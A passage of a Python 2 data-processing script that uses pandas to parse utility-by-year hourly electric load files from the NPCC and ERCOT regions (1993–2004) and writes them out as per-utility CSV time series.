2001 : pd.read_excel('%s/npcc/2001/BHE01' % (fulldir), skiprows=2).iloc[:, 1:24].values.ravel(),
2003 : pd.read_excel('%s/npcc/2003/BHE03' % (fulldir), skiprows=3).iloc[:, 1:24].values.ravel()
},
1523 : {
1999 : pd.read_csv('%s/npcc/1999/CELC99' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values,
2000 : pd.read_csv('%s/npcc/2000/CELC00' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values,
2001 : pd.read_csv('%s/npcc/2001/CELC01' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values,
2002 : pd.read_csv('%s/npcc/2002/CELC02' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values,
2003 : pd.read_csv('%s/npcc/2003/CELC03' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values,
2004 : pd.read_csv('%s/npcc/2004/CELC04' % (fulldir), skiprows=3, sep=' ', skipinitialspace=True, header=None)[4].values
},
3249 : {
1993 : pd.read_csv('%s/npcc/1993/CHGE93' % (fulldir), sep =' ', skipinitialspace=True, header=None, skipfooter=1)[2].values,
1994 : pd.read_fwf('%s/npcc/1994/CHGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(float).values.ravel(),
1995 : pd.read_fwf('%s/npcc/1995/CHGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/npcc/1996/CHGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(float).values.ravel(),
1997 : pd.read_csv('%s/npcc/1997/CHGE97' % (fulldir), sep ='\s', skipinitialspace=True, header=None, skipfooter=1).iloc[:, 4:].values.ravel(),
1998 : pd.read_excel('%s/npcc/1998/CHGE98' % (fulldir), skipfooter=1, header=None).iloc[:, 2:].values.ravel(),
},
3266 : {
1993 : pd.read_fwf('%s/npcc/1993/CMP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/npcc/1994/CMP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/npcc/1995/CMP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/npcc/1996/CMP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/npcc/1997/CMP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1999 : pd.read_fwf('%s/npcc/1999/CMP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
2002 : pd.read_fwf('%s/npcc/2002/CMP02' % (fulldir), header=None).iloc[:, 1:].values.ravel(),
2003 : pd.read_fwf('%s/npcc/2003/CMP03' % (fulldir), header=None).iloc[:, 1:].values.ravel()
},
4226 : {
1993 : pd.read_csv('%s/npcc/1993/COED93' % (fulldir), skipfooter=1, skiprows=11, header=None, skipinitialspace=True, sep=' ')[2].values,
1994 : pd.read_fwf('%s/npcc/1994/COED94' % (fulldir), skipfooter=1, header=None)[1].values,
1995 : pd.read_csv('%s/npcc/1995/COED95' % (fulldir), skiprows=3, header=None),
1996 : pd.read_excel('%s/npcc/1996/COED96' % (fulldir)).iloc[:, -1].values.ravel(),
1997 : pd.read_excel('%s/npcc/1997/COED97' % (fulldir), skiprows=1).iloc[:, -1].values.ravel(),
1998 : pd.read_excel('%s/npcc/1998/COED98' % (fulldir), skiprows=1).iloc[:, -1].values.ravel(),
1999 : pd.read_csv('%s/npcc/1999/COED99' % (fulldir), skiprows=1, sep='\t').iloc[:, -1].str.replace(',', '').astype(int).values.ravel(),
2000 : pd.read_csv('%s/npcc/2000/COED00' % (fulldir), sep='\t')[' Load '].dropna().str.replace(',', '').astype(int).values.ravel(),
2001 : pd.read_csv('%s/npcc/2001/COED01' % (fulldir), sep='\t', skipfooter=1)['Load'].dropna().str.replace(',', '').astype(int).values.ravel(),
2002 : pd.read_csv('%s/npcc/2002/COED02' % (fulldir), sep='\t', skipfooter=1, skiprows=1)['Load'].dropna().str.replace(',', '').astype(int).values.ravel(),
2003 : pd.read_csv('%s/npcc/2003/COED03' % (fulldir), sep='\t')['Load'].dropna().astype(int).values.ravel(),
2004 : pd.read_csv('%s/npcc/2004/COED04' % (fulldir), header=None).iloc[:, -1].str.replace('[A-Z,]', '').str.replace('\s', '0').astype(int).values.ravel()
},
4089 : {
1993 : pd.read_fwf('%s/npcc/1993/COEL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/npcc/1995/COEL95' % (fulldir), header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_csv('%s/npcc/1996/COEL96' % (fulldir), sep=' ', skipinitialspace=True, header=None)[3].values,
1997 : pd.read_csv('%s/npcc/1997/COEL97' % (fulldir), sep=' ', skipinitialspace=True, header=None)[4].values,
1998 : pd.read_csv('%s/npcc/1998/COEL98' % (fulldir), sep=' ', skipinitialspace=True, header=None)[4].values,
1999 : pd.read_csv('%s/npcc/1999/COEL99' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2000 : pd.read_csv('%s/npcc/2000/COEL00' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2001 : pd.read_csv('%s/npcc/2001/COEL01' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2002 : pd.read_csv('%s/npcc/2002/COEL02' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2003 : pd.read_csv('%s/npcc/2003/COEL03' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values,
2004 : pd.read_csv('%s/npcc/2004/COEL04' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=3)[4].values
},
3292 : {
1995 : pd.read_fwf('%s/npcc/1995/CVPS95' % (fulldir), header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_csv('%s/npcc/1996/CVPS96' % (fulldir), header=None, skipfooter=1)[1].values,
1997 : pd.read_csv('%s/npcc/1997/CVPS97' % (fulldir), header=None)[2].values,
1998 : pd.read_csv('%s/npcc/1998/CVPS98' % (fulldir), header=None, skipfooter=1)[4].values,
1999 : pd.read_csv('%s/npcc/1999/CVPS99' % (fulldir))['Load'].values
},
5618 : {
1993 : pd.read_fwf('%s/npcc/1993/EUA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/npcc/1994/EUA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/npcc/1995/EUA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/npcc/1996/EUA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/npcc/1997/EUA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1999 : pd.read_fwf('%s/npcc/1999/EUA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel()
},
7601 : {
1993 : pd.read_csv('%s/npcc/1993/GMP93' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=4)[0].replace('MWH', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/npcc/1994/GMP94' % (fulldir), header=None)[0].values,
1995 : pd.read_csv('%s/npcc/1995/GMP95' % (fulldir), sep=' ', skipinitialspace=True, header=None)[0].values,
1996 : pd.read_csv('%s/npcc/1996/GMP96' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].values,
1997 : pd.read_csv('%s/npcc/1997/GMP97' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].values,
1998 : pd.read_csv('%s/npcc/1998/GMP98' % (fulldir), sep='\t', skipinitialspace=True, header=None)[0].astype(str).str[:3].astype(float).values,
1999 : pd.read_csv('%s/npcc/1999/GMP99' % (fulldir), sep=' ', skipinitialspace=True, header=None, skipfooter=1).iloc[:8760, 0].values,
2002 : pd.read_excel('%s/npcc/2002/GMP02' % (fulldir), skiprows=6, skipfooter=1).iloc[:, 0].values,
2003 : pd.read_excel('%s/npcc/2003/GMP03' % (fulldir), skiprows=6, skipfooter=1).iloc[:, 0].values,
2004 : pd.read_csv('%s/npcc/2004/GMP04' % (fulldir), skiprows=13, sep='\s').iloc[:, 0].values
},
13501 : {
2002 : pd.read_csv('%s/npcc/2002/ISONY02' % (fulldir), sep='\t')['mw'].values,
2003 : pd.read_excel('%s/npcc/2003/ISONY03' % (fulldir))['Load'].values,
2004 : pd.read_excel('%s/npcc/2004/ISONY04' % (fulldir)).loc[:, 'HR1':].values.ravel()
},
11171 : {
1994 : pd.read_fwf('%s/npcc/1994/LILC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/npcc/1995/LILC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/npcc/1997/LILC97' % (fulldir), skiprows=4, widths=[8,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
},
11806 : {
1998 : pd.read_fwf('%s/npcc/1998/MMWE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(),
1999 : pd.read_fwf('%s/npcc/1999/MMWE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(),
2000 : pd.read_fwf('%s/npcc/2000/MMWE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(),
2001 : pd.read_fwf('%s/npcc/2001/MMWE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(),
2002 : pd.read_fwf('%s/npcc/2002/MMWE02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(),
2003 : pd.read_fwf('%s/npcc/2003/MMWE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(),
2004 : pd.read_fwf('%s/npcc/2004/MMWE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel()
},
13433 : {
1993 : pd.read_fwf('%s/npcc/1993/NEES93' % (fulldir), widths=(8,7), header=None, skipfooter=1)[1].values,
1994 : pd.read_csv('%s/npcc/1994/NEES94' % (fulldir), header=None, skipfooter=1, sep=' ', skipinitialspace=True)[3].values
},
13435 : {
1993 : pd.read_fwf('%s/npcc/1993/NEPOOL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/npcc/1994/NEPOOL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/npcc/1995/NEPOOL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=3).iloc[:, 1:].values.ravel(),
1996 : pd.read_csv('%s/npcc/1996/NEPOOL96' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values,
1997 : pd.read_fwf('%s/npcc/1997/NEPOOL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : pd.read_excel('%s/npcc/1998/NEPOOL98' % (fulldir), header=None).iloc[:, 5:17].values.ravel(),
1999 : pd.read_csv('%s/npcc/1999/NEPOOL99' % (fulldir), engine='python', skiprows=1).iloc[:, 0].values,
2000 : pd.read_fwf('%s/npcc/2000/NEPOOL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2001 : pd.read_fwf('%s/npcc/2001/NEPOOL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2002 : pd.read_csv('%s/npcc/2002/NEPOOL02' % (fulldir), sep='\t').iloc[:, 3:].values.ravel(),
2003 : pd.read_fwf('%s/npcc/2003/NEPOOL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2004 : pd.read_csv('%s/npcc/2004/NEPOOL04' % (fulldir), sep='\t', header=None, skiprows=10).iloc[:, 5:].values.ravel()
},
13573 : {
1993 : pd.read_csv('%s/npcc/1993/NMPC93' % (fulldir), skiprows=11, header=None, sep=' ', skipinitialspace=True).iloc[:, 3:27].values.ravel(),
1995 : pd.read_fwf('%s/npcc/1995/NMPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/npcc/1996/NMPC96' % (fulldir), header=None).iloc[:, 2:14].astype(int).values.ravel(),
1998 : pd.read_fwf('%s/npcc/1998/NMPC98' % (fulldir), header=None).iloc[:, 2:].astype(int).values.ravel(),
1999 : pd.read_fwf('%s/npcc/1999/NMPC99' % (fulldir), header=None).iloc[:, 2:14].astype(int).values.ravel(),
2000 : pd.read_excel('%s/npcc/2000/NMPC00' % (fulldir), sheetname=1, skiprows=10, skipfooter=3).iloc[:, 1:].values.ravel(),
2002 : pd.read_excel('%s/npcc/2002/NMPC02' % (fulldir), sheetname=1, skiprows=2, header=None).iloc[:, 2:].values.ravel(),
2003 : pd.concat([pd.read_excel('%s/npcc/2003/NMPC03' % (fulldir), sheetname=i, skiprows=1, header=None) for i in range(1,13)]).iloc[:, 2:].astype(str).apply(lambda x: x.str[:4]).astype(float).values.ravel()
},
13556 : {
1993 : pd.read_fwf('%s/npcc/1993/NU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_excel('%s/npcc/1994/NU94' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(),
1995 : pd.read_excel('%s/npcc/1995/NU95' % (fulldir), header=None, skipfooter=5).dropna(how='any').iloc[:, 3:].values.ravel(),
1996 : pd.read_excel('%s/npcc/1996/NU96' % (fulldir), header=None, skipfooter=1).iloc[:, 5:].values.ravel(),
1997 : pd.read_excel('%s/npcc/1997/NU97' % (fulldir), header=None, skipfooter=4).iloc[:, 5:].values.ravel(),
1998 : pd.read_excel('%s/npcc/1998/NU98' % (fulldir), header=None).iloc[:, 5:].values.ravel(),
1999 : pd.read_excel('%s/npcc/1999/NU99' % (fulldir), header=None).iloc[:, 5:].values.ravel(),
2000 : pd.read_csv('%s/npcc/2000/NU00' % (fulldir), sep='\t', header=None).iloc[:, 5:].values.ravel(),
2001 : pd.read_excel('%s/npcc/2001/NU01' % (fulldir)).iloc[:, -1].values,
2002 : pd.read_excel('%s/npcc/2002/NU02' % (fulldir)).iloc[:, -1].values,
2003 : pd.read_excel('%s/npcc/2003/NU03' % (fulldir), skipfooter=1).iloc[:, -1].values
},
15296 : {
1993 : pd.read_csv('%s/npcc/1993/NYPA93' % (fulldir), engine='python', header=None).values.ravel(),
1994 : pd.read_csv('%s/npcc/1994/NYPA94' % (fulldir), engine='python', header=None).values.ravel(),
1995 : pd.read_csv('%s/npcc/1995/NYPA95' % (fulldir), engine='python', header=None).values.ravel(),
1996 : pd.read_csv('%s/npcc/1996/NYPA96' % (fulldir), engine='python', header=None).values.ravel(),
1997 : pd.read_csv('%s/npcc/1997/NYPA97' % (fulldir), engine='python', header=None).values.ravel(),
1998 : pd.read_csv('%s/npcc/1998/NYPA98' % (fulldir), engine='python', header=None).values.ravel(),
1999 : pd.read_excel('%s/npcc/1999/NYPA99' % (fulldir), header=None).values.ravel(),
2000 : pd.read_csv('%s/npcc/2000/NYPA00' % (fulldir), engine='python', header=None).values.ravel(),
2001 : pd.read_csv('%s/npcc/2001/NYPA01' % (fulldir), engine='python', header=None).values.ravel(),
2002 : pd.read_csv('%s/npcc/2002/NYPA02' % (fulldir), engine='python', header=None).values.ravel(),
2003 : pd.read_csv('%s/npcc/2003/NYPA03' % (fulldir), engine='python', header=None).values.ravel()
},
13501 : {
1993 : pd.read_fwf('%s/npcc/1993/NYPP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel()
},
13511 : {
1996 : pd.read_fwf('%s/npcc/1996/NYS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/npcc/1997/NYS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1999 : pd.read_excel('%s/npcc/1999/NYS99' % (fulldir)).iloc[:, 1:].values.ravel(),
2000 : pd.read_csv('%s/npcc/2000/NYS00' % (fulldir), sep='\t').iloc[:, -1].values,
2001 : pd.read_csv('%s/npcc/2001/NYS01' % (fulldir), sep='\t', skiprows=3).dropna(how='all').iloc[:, -1].values,
2002 : pd.read_csv('%s/npcc/2002/NYS02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=3).iloc[:, 2].values,
2003 : pd.read_csv('%s/npcc/2003/NYS03' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).iloc[:, -1].values,
2004 : pd.read_csv('%s/npcc/2004/NYS04' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).dropna(how='all').iloc[:, -1].values
},
14154 : {
1993 : pd.read_csv('%s/npcc/1993/OR93' % (fulldir), skiprows=5, header=None).iloc[:, 2:26].values.ravel(),
1995 : (pd.read_csv('%s/npcc/1995/OR95' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10),
1996 : (pd.read_csv('%s/npcc/1996/OR96' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10),
1997 : (pd.read_csv('%s/npcc/1997/OR97' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10),
1998 : pd.read_fwf('%s/npcc/1998/OR98' % (fulldir), skiprows=1, header=None).dropna(axis=1, how='all').iloc[:, 1:].values.ravel(),
1999 : pd.read_csv('%s/npcc/1999/OR99' % (fulldir), sep='\t', skiprows=1, header=None).iloc[:, 1:].values.ravel(),
2000 : pd.read_csv('%s/npcc/2000/OR00' % (fulldir), sep='\t').iloc[:, -1].values.astype(int).ravel(),
2002 : pd.read_csv('%s/npcc/2002/OR02' % (fulldir), sep='\t', skiprows=2).iloc[:, -1].dropna().values.astype(int).ravel(),
2003 : pd.read_csv('%s/npcc/2003/OR03' % (fulldir), sep='\t').iloc[:, -1].dropna().values.astype(int).ravel(),
2004 : pd.read_csv('%s/npcc/2004/OR04' % (fulldir), header=None).iloc[:, -1].values.astype(int).ravel()
},
16183 : {
1994 : pd.read_fwf('%s/npcc/1994/RGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/npcc/1995/RGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/npcc/1996/RGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2002 : pd.read_csv('%s/npcc/2002/RGE02' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values,
2003 : pd.read_csv('%s/npcc/2003/RGE03' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values,
2004 : pd.read_csv('%s/npcc/2004/RGE04' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values
},
19497 : {
1993 : pd.read_fwf('%s/npcc/1993/UI93' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10,
1994 : pd.read_fwf('%s/npcc/1994/UI94' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10,
1995 : pd.read_fwf('%s/npcc/1995/UI95' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10,
1996 : pd.read_fwf('%s/npcc/1996/UI96' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10,
1997 : pd.read_fwf('%s/npcc/1997/UI97' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10,
1998 : pd.read_excel('%s/npcc/1998/UI98' % (fulldir))['MW'].values,
1999 : pd.read_excel('%s/npcc/1999/UI99' % (fulldir)).loc[:, 'HR1':'HR24'].values.ravel(),
2001 : pd.read_excel('%s/npcc/2001/UI01' % (fulldir), sheetname=0).ix[:-2, 'HR1':'HR24'].values.ravel(),
2002 : pd.read_excel('%s/npcc/2002/UI02' % (fulldir), sheetname=0).ix[:-2, 'HR1':'HR24'].values.ravel(),
2003 : pd.read_excel('%s/npcc/2003/UI03' % (fulldir), sheetname=0, skipfooter=2).ix[:, 'HR1':'HR24'].values.ravel(),
2004 : pd.read_excel('%s/npcc/2004/UI04' % (fulldir), sheetname=0, skipfooter=1).ix[:, 'HR1':'HR24'].values.ravel()
}
}
npcc[4226][1995] = pd.concat([npcc[4226][1995][2].dropna(), npcc[4226][1995][6]]).values.ravel()
npcc[3249][1994][npcc[3249][1994] > 5000] = 0
npcc[3249][1996][npcc[3249][1996] > 5000] = 0
npcc[15296][2000][npcc[15296][2000] > 5000] = 0
npcc[15296][2001][npcc[15296][2001] > 5000] = 0
npcc[4089][1998] = np.repeat(np.nan, len(npcc[4089][1998]))
npcc[13511][1996][npcc[13511][1996] < 500] = 0
npcc[13511][1997][npcc[13511][1997] < 500] = 0
npcc[13511][1999][npcc[13511][1999] < 500] = 0
npcc[13511][2000][npcc[13511][2000] < 500] = 0
npcc[14154][2002][npcc[14154][2002] > 2000] = 0
if not os.path.exists('./npcc'):
os.mkdir('npcc')
for k in npcc.keys():
print k
s = pd.DataFrame(pd.concat([pd.Series(npcc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(npcc[k][i]))) for i in npcc[k].keys()]).sort_index(), columns=['load'])
s['load'] = s['load'].replace('.', '0').astype(float).replace(0, np.nan)
s.to_csv('./npcc/%s.csv' % k)
###### ERCOT
# AUST: 1015
# CPL: 3278
# HLP: 8901
# LCRA: 11269
# NTEC: 13670
# PUB: 2409
# SRGT: 40233
# STEC: 17583
# TUEC: 44372
# TMPP: 18715
# TXLA: 18679
# WTU: 20404
ercot = {
1015 : {
1993 : pd.read_fwf('%s/ercot/1993/AUST93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/ercot/1994/AUST94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/ercot/1995/AUST95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/AUST96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/AUST97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['AENX'].loc[2:].astype(float)/1000).values,
1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['AENX'].astype(float)/1000).values,
2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[3].str.replace(',', '').astype(float)/1000).values
},
3278 : {
1993 : pd.read_fwf('%s/ercot/1993/CPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/ercot/1994/CPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/CPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/CPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['CPLC'].loc[2:].astype(int)/1000).values
},
8901 : {
1993 : pd.read_fwf('%s/ercot/1993/HLP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_fwf('%s/ercot/1994/HLP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/ercot/1995/HLP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/HLP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/HLP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['HLPC'].loc[2:].astype(int)/1000).values
},
11269: {
1993 : pd.read_fwf('%s/ercot/1993/LCRA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
1994 : pd.read_csv('%s/ercot/1994/LCRA94' % (fulldir), skiprows=4).iloc[:, -1].values,
1995 : pd.read_fwf('%s/ercot/1995/LCRA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/LCRA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/LCR97' % (fulldir), header=None).iloc[:, 1:].values.ravel(),
1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['LCRA'].loc[2:].astype(int)/1000).values,
1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['LCRA'].astype(float)/1000).values,
2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[6].str.replace(',', '').astype(float)/1000).values
},
13670 : {
1993 : pd.read_csv('%s/ercot/1993/NTEC93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values,
1994 : pd.read_fwf('%s/ercot/1994/NTEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1995 : pd.read_fwf('%s/ercot/1995/NTEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/ercot/1996/NTEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
1997 : pd.read_fwf('%s/ercot/1997/NTEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(),
2001 : pd.read_fwf('%s/ercot/2001/NTEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel()
},
2409 : {
1993 : pd.read_fwf('%s/ercot/1993/PUB93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(),
